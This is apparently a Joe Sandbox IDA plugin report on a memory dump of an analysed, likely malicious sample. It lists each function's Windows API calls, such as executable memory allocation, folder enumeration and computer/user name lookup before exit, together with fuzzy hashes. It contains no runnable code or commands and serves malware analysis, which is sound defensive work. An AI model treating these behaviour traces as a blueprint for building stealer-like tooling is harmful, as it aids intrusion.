Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: e1386034d8f215f1c54551e097d2edb8507c2886e7fe96e83a506fa6552899d5
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: e1386034d8f215f1c54551e097d2edb8507c2886e7fe96e83a506fa6552899d5
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f78a4390d06eb36b7529e4fc139529cfe6ed280ed461a97061cf40ed3eed04d2
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: f78a4390d06eb36b7529e4fc139529cfe6ed280ed461a97061cf40ed3eed04d2
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 85d5002b397a958666062c7c39832661c909c907b14f7a77cd9cf0d2a6cbccb4
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: 85d5002b397a958666062c7c39832661c909c907b14f7a77cd9cf0d2a6cbccb4
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,02729238), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 0041A270 Relevance: 1.3, APIs: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: c2fc4e1fd4be9ef044dbc11c0819e19b14df2fb30b2739993815bf0de72bef61
Instruction ID: 2a78e701e35aec36e6769ce11f212970ab7c3b82bc423fc04febfee158968705
Opcode Fuzzy Hash: c2fc4e1fd4be9ef044dbc11c0819e19b14df2fb30b2739993815bf0de72bef61
Instruction Fuzzy Hash: 08112D74A00208EFC705CF94D590A9AB3B2FF89304F2080E8E8095B391C736AE51DB54

